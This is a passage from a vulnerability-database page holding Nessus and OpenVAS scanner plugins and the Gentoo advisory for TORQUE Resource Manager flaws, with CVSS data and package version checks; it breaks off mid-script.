DATABASE RESOURCES PRICING ABOUT US

{"id": "GENTOO_GLSA-201412-47.NASL", "vendorId": null, "type": "nessus", "bulletinFamily": "scanner", "title": "GLSA-201412-47 : TORQUE Resource Manager: Multiple vulnerabilities", "description": "The remote host is affected by the vulnerability described in GLSA-201412-47 (TORQUE Resource Manager: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in TORQUE Resource Manager. Please review the CVE identifiers referenced below for details.\n Impact :\n\n A context-dependent attacker may be able to gain escalated privileges, execute arbitrary code, or bypass security restrictions.\n Workaround :\n\n There is no known workaround at this time.", "published": "2014-12-29T00:00:00", "modified": "2021-01-06T00:00:00", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {}, "href": "https://www.tenable.com/plugins/nessus/80268", "reporter": "This script is Copyright (C) 2014-2021 Tenable Network Security, Inc.", "references": ["http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2907", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4319", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2193", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4495", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4925", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0749", "https://security.gentoo.org/glsa/201412-47"], "cvelist": ["CVE-2011-2193", "CVE-2011-2907", "CVE-2011-4925", "CVE-2013-4319", "CVE-2013-4495", "CVE-2014-0749"], "immutableFields": [], "lastseen": "2023-01-18T14:41:58", "viewCount": 9, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2011-2193", "CVE-2011-2907", "CVE-2011-4925", "CVE-2013-4319", "CVE-2013-4495", "CVE-2014-0749"]}, {"type": "debian", "idList": ["DEBIAN:DSA-2329-1:FF59E", "DEBIAN:DSA-2770-1:26F96", "DEBIAN:DSA-2770-1:837E9", "DEBIAN:DSA-2796-1:5F931", "DEBIAN:DSA-2796-1:98437", "DEBIAN:DSA-2936-1:16000", "DEBIAN:DSA-2936-1:21E9F"]}, {"type": "exploitdb", "idList": ["EDB-ID:33554"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:8FB219FFE4B8AEECDED9BDABBBAC76ED"]}, {"type": "fedora", "idList": ["FEDORA:1CC4D625D8BB", "FEDORA:1F9DD604B1B8", "FEDORA:25E1710F987", "FEDORA:4C5B6625E4A0", "FEDORA:9AE0360F33CC", "FEDORA:AC46C11157B", "FEDORA:AFE5F20BD5", "FEDORA:B3AE960EE948"]}, {"type": "gentoo", "idList": ["GLSA-201412-47"]}, {"type": "mageia", "idList": ["MGASA-2013-0308", "MGASA-2013-0327"]}, {"type": "nessus", "idList": ["DEBIAN_DSA-2329.NASL", "DEBIAN_DSA-2770.NASL", "DEBIAN_DSA-2796.NASL", "DEBIAN_DSA-2936.NASL", "FEDORA_2011-8072.NASL", "FEDORA_2011-8117.NASL", "FEDORA_2014-10153.NASL", "FEDORA_2014-11989.NASL", "FEDORA_2014-12059.NASL", "MANDRIVA_MDVSA-2013-252.NASL", "MANDRIVA_MDVSA-2013-268.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310121333", "OPENVAS:1361412562310702936", "OPENVAS:136141256231070544", "OPENVAS:1361412562310804456", "OPENVAS:1361412562310863293", "OPENVAS:1361412562310863359", "OPENVAS:1361412562310868411", "OPENVAS:1361412562310868413", "OPENVAS:1361412562310869399", "OPENVAS:1361412562310869424", "OPENVAS:1361412562310869691", "OPENVAS:1361412562310892770", "OPENVAS:1361412562310892796", "OPENVAS:702936", "OPENVAS:70544", "OPENVAS:863293", "OPENVAS:863359", "OPENVAS:892770", "OPENVAS:892796"]}, {"type": "osv", "idList": ["OSV:DSA-2329-1", "OSV:DSA-2770-1", "OSV:DSA-2796-1", "OSV:DSA-2936-1"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:126855"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:26654", "SECURITYVULNS:DOC:29943", "SECURITYVULNS:DOC:29996", "SECURITYVULNS:DOC:30762", "SECURITYVULNS:DOC:30773", "SECURITYVULNS:VULN:11791", "SECURITYVULNS:VULN:13367", "SECURITYVULNS:VULN:13788"]}, {"type": "seebug", "idList": ["SSV:86762"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2011-2193", "UB:CVE-2011-2907", "UB:CVE-2011-4925", "UB:CVE-2013-4319", "UB:CVE-2013-4495", "UB:CVE-2014-0749"]}, {"type": "zdt", "idList": ["1337DAY-ID-22301"]}]}, "score": {"value": 0.6, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2011-2193", "CVE-2011-2907", "CVE-2011-4925"]}, {"type": "debian", "idList": ["DEBIAN:DSA-2329-1:FF59E"]}, {"type": "fedora", "idList": ["FEDORA:4C5B6625E4A0"]}, {"type": "nessus", "idList": ["DEBIAN_DSA-2770.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:892796"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:126855"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:13788"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2011-2193", "UB:CVE-2011-2907", "UB:CVE-2011-4925"]}, {"type": "zdt", "idList": ["1337DAY-ID-22301"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2011-2193", "epss": "0.002280000", "percentile": "0.591720000", "modified": "2023-03-13"}, {"cve": "CVE-2011-2907", "epss": "0.017050000", "percentile": "0.858450000", "modified": "2023-03-13"}, {"cve": "CVE-2011-4925", "epss": "0.001800000", "percentile": "0.533820000", "modified": "2023-03-13"}, {"cve": "CVE-2013-4319", "epss": "0.002600000", "percentile": "0.619950000", "modified": "2023-03-13"}, {"cve": "CVE-2013-4495", "epss": "0.018530000", "percentile": "0.865030000", "modified": "2023-03-13"}, {"cve": "CVE-2014-0749", "epss": "0.272250000", "percentile": "0.960340000", "modified": "2023-03-13"}], "vulnersScore": 0.6}, "_state": {"dependencies": 1674053786, "score": 1674053813, "epss": 1678787484}, "_internal": {"score_hash": "e0351c7a8e942827633445c93a8b956a"}, "pluginID": "80268", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Gentoo Linux Security Advisory GLSA 201412-47.\n#\n# The advisory text is Copyright (C) 2001-2015 Gentoo Foundation, Inc.\n# and licensed under the Creative Commons - Attribution / Share Alike \n# license. See http://creativecommons.org/licenses/by-sa/3.0/\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(80268);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2011-2193\", \"CVE-2011-2907\", \"CVE-2011-4925\", \"CVE-2013-4319\", \"CVE-2013-4495\", \"CVE-2014-0749\");\n script_bugtraq_id(48374, 49119, 51224, 62273, 63722, 67420);\n script_xref(name:\"GLSA\", value:\"201412-47\");\n\n script_name(english:\"GLSA-201412-47 : TORQUE Resource Manager: Multiple vulnerabilities\");\n script_summary(english:\"Checks for updated package(s) in /var/db/pkg\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Gentoo host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The remote host is affected by the vulnerability described in GLSA-201412-47\n(TORQUE Resource Manager: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in TORQUE Resource\n Manager. Please review the CVE identifiers referenced below for details.\n \nImpact :\n\n A context-dependent attacker may be able to gain escalated privileges,\n execute arbitrary code, or bypass security restrictions.\n \nWorkaround :\n\n There is no known workaround at this time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security.gentoo.org/glsa/201412-47\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"All TORQUE Resource Manager 4.x users should upgrade to the latest\n version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=sys-cluster/torque-4.1.7'\n All TORQUE Resource Manager 2.x users should upgrade to the latest\n version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=sys-cluster/torque-2.5.13'\n NOTE: One or more of the issues described in this advisory have been\n fixed in previous updates. They are included in this advisory for the\n sake of completeness. It is likely that your system is already no longer\n affected by them.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:ND/RL:U/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:gentoo:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/12/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/12/29\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Gentoo Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Gentoo/release\", \"Host/Gentoo/qpkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"qpkg.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Gentoo/release\")) audit(AUDIT_OS_NOT, \"Gentoo\");\nif (!get_kb_item(\"Host/Gentoo/qpkg-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (qpkg_check(package:\"sys-cluster/torque\", unaffected:make_list(\"ge 4.1.7\", \"rge 2.5.13\"), vulnerable:make_list(\"lt 4.1.7\"))) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = qpkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"TORQUE Resource Manager\");\n}\n", "naslFamily": "Gentoo Local Security Checks", "cpe": ["p-cpe:/a:gentoo:linux:torque", "cpe:/o:gentoo:linux"], "solution": "All TORQUE Resource Manager 4.x users should upgrade to the latest version:\n # emerge --sync # emerge --ask --oneshot --verbose '>=sys-cluster/torque-4.1.7' All TORQUE Resource Manager 2.x users should upgrade to the latest version:\n # emerge --sync # emerge --ask --oneshot --verbose '>=sys-cluster/torque-2.5.13' NOTE: One or more of the issues described in this advisory have been fixed in previous updates. They are included in this advisory for the sake of completeness. It is likely that your system is already no longer affected by them.", "nessusSeverity": "Critical", "cvssScoreSource": "", "vendor_cvss2": {"score": 10, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "vendor_cvss3": {"score": null, "vector": null}, "vpr": {"risk factor": "Medium", "score": "6.7"}, "exploitAvailable": false, "exploitEase": "No known exploits are available", "patchPublicationDate": "2014-12-26T00:00:00", "vulnerabilityPublicationDate": null, "exploitableWith": []}

{"gentoo": [{"lastseen": "2022-01-17T19:07:14", "description": "### Background\n\nTORQUE is a resource manager and queuing system based on OpenPBS.\n\n### Description\n\nMultiple vulnerabilities have been discovered in TORQUE Resource Manager. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nA context-dependent attacker may be able to gain escalated privileges, execute arbitrary code, or bypass security restrictions. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll TORQUE Resource Manager 4.x users should upgrade to the latest version: \n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=sys-cluster/torque-4.1.7\"\n \n\nAll TORQUE Resource Manager 2.x users should upgrade to the latest version: \n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=sys-cluster/torque-2.5.13\"\n \n\nNOTE: One or more of the issues described in this advisory have been fixed in previous updates. They are included in this advisory for the sake of completeness. It is likely that your system is already no longer affected by them.", "cvss3": {}, "published": "2014-12-26T00:00:00", "type": "gentoo", "title": "TORQUE Resource Manager: Multiple vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2193", "CVE-2011-2907", "CVE-2011-4925", "CVE-2013-4319", "CVE-2013-4495", "CVE-2014-0749"], "modified": "2014-12-26T00:00:00", "id": "GLSA-201412-47", "href": "https://security.gentoo.org/glsa/201412-47", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2019-05-29T18:36:08", "description": "Gentoo Linux Local Security Checks GLSA 201412-47", "cvss3": {}, "published": "2015-09-29T00:00:00", "type": "openvas", "title": "Gentoo Security Advisory GLSA 201412-47", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2011-4925", "CVE-2013-4319", "CVE-2011-2907", "CVE-2013-4495", "CVE-2014-0749", "CVE-2011-2193"], "modified": "2018-10-26T00:00:00", "id": "OPENVAS:1361412562310121333", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310121333", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: glsa-201412-47.nasl 12128 2018-10-26 13:35:25Z cfischer $\n#\n# Gentoo Linux security check\n#\n# Authors:\n# Eero Volotinen <eero.volotinen@solinor.com>\n#\n# Copyright:\n# Copyright (c) 2015 Eero Volotinen, http://solinor.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.121333\");\n script_version(\"$Revision: 12128 $\");\n script_tag(name:\"creation_date\", value:\"2015-09-29 11:28:24 +0300 (Tue, 29 Sep 2015)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-26 15:35:25 +0200 (Fri, 26 Oct 2018) $\");\n script_name(\"Gentoo Security Advisory GLSA 201412-47\");\n script_tag(name:\"insight\", value:\"Multiple vulnerabilities have been discovered in TORQUE Resource Manager. Please review the CVE identifiers referenced below for details.\");\n script_tag(name:\"solution\", value:\"Update the affected packages to the latest available version.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"URL\", value:\"https://security.gentoo.org/glsa/201412-47\");\n script_cve_id(\"CVE-2011-2193\", \"CVE-2011-2907\", \"CVE-2011-4925\", \"CVE-2013-4319\", \"CVE-2013-4495\", \"CVE-2014-0749\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/gentoo\", \"ssh/login/pkg\");\n script_category(ACT_GATHER_INFO);\n script_tag(name:\"summary\", value:\"Gentoo Linux Local Security Checks GLSA 201412-47\");\n script_copyright(\"Eero Volotinen\");\n script_family(\"Gentoo Local Security Checks\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-gentoo.inc\");\n\nres = \"\";\nreport = \"\";\n\nif((res=ispkgvuln(pkg:\"sys-cluster/torque\", unaffected: make_list(\"ge 4.1.7\"), vulnerable: make_list() )) != NULL) {\n\n report += res;\n}\nif((res=ispkgvuln(pkg:\"sys-cluster/torque\", unaffected: make_list(\"ge 2.5.13\"), vulnerable: make_list() )) != NULL) {\n\n report += res;\n}\nif((res=ispkgvuln(pkg:\"sys-cluster/torque\", unaffected: make_list(), vulnerable: make_list(\"lt 4.1.7\"))) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99);\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:37:25", "description": "Check the version of torque", "cvss3": {}, "published": "2014-10-19T00:00:00", "type": "openvas", "title": "Fedora Update for torque FEDORA-2014-11989", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4319", "CVE-2013-4495"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310868411", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310868411", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for torque FEDORA-2014-11989\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.868411\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2014-10-19 05:57:35 +0200 (Sun, 19 Oct 2014)\");\n script_cve_id(\"CVE-2013-4319\", \"CVE-2013-4495\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_name(\"Fedora Update for torque FEDORA-2014-11989\");\n script_tag(name:\"summary\", value:\"Check the version of torque\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"torque on Fedora 20\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"FEDORA\", value:\"2014-11989\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2014-October/141123.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC20\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC20\")\n{\n\n if ((res = isrpmvuln(pkg:\"torque\", rpm:\"torque~3.0.4~6.fc20\", rls:\"FC20\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:37:37", "description": "Check the version of torque", "cvss3": {}, "published": "2014-10-19T00:00:00", "type": "openvas", "title": "Fedora Update for torque FEDORA-2014-12059", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4319", "CVE-2013-4495"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310868413", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310868413", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for torque FEDORA-2014-12059\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.868413\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2014-10-19 05:57:39 +0200 (Sun, 19 Oct 2014)\");\n script_cve_id(\"CVE-2013-4319\", \"CVE-2013-4495\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_name(\"Fedora Update for torque FEDORA-2014-12059\");\n script_tag(name:\"summary\", value:\"Check the version of torque\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"torque on Fedora 19\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"FEDORA\", value:\"2014-12059\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2014-October/141126.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC19\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC19\")\n{\n\n if ((res = isrpmvuln(pkg:\"torque\", rpm:\"torque~3.0.4~5.fc19\", rls:\"FC19\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:36:26", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2015-06-09T00:00:00", "type": "openvas", "title": "Fedora Update for torque FEDORA-2015-8571", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-3684", "CVE-2013-4319", "CVE-2013-4495"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310869424", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310869424", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for torque FEDORA-2015-8571\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.869424\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2015-06-09 10:55:33 +0200 (Tue, 09 Jun 2015)\");\n script_cve_id(\"CVE-2013-4319\", \"CVE-2013-4495\", \"CVE-2014-3684\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for torque FEDORA-2015-8571\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'torque'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"torque on Fedora 21\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2015-8571\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2015-May/159183.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC21\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC21\")\n{\n\n if ((res = isrpmvuln(pkg:\"torque\", rpm:\"torque~4.2.10~3.fc21\", rls:\"FC21\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:36:33", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2015-07-07T00:00:00", "type": "openvas", "title": "Fedora Update for torque FEDORA-2015-8544", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-3684", "CVE-2013-4319", "CVE-2013-4495"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310869691", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310869691", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for torque FEDORA-2015-8544\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.869691\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2015-07-07 06:35:05 +0200 (Tue, 07 Jul 2015)\");\n script_cve_id(\"CVE-2013-4319\", \"CVE-2013-4495\", \"CVE-2014-3684\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for torque FEDORA-2015-8544\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'torque'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"torque on Fedora 22\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2015-8544\");\n 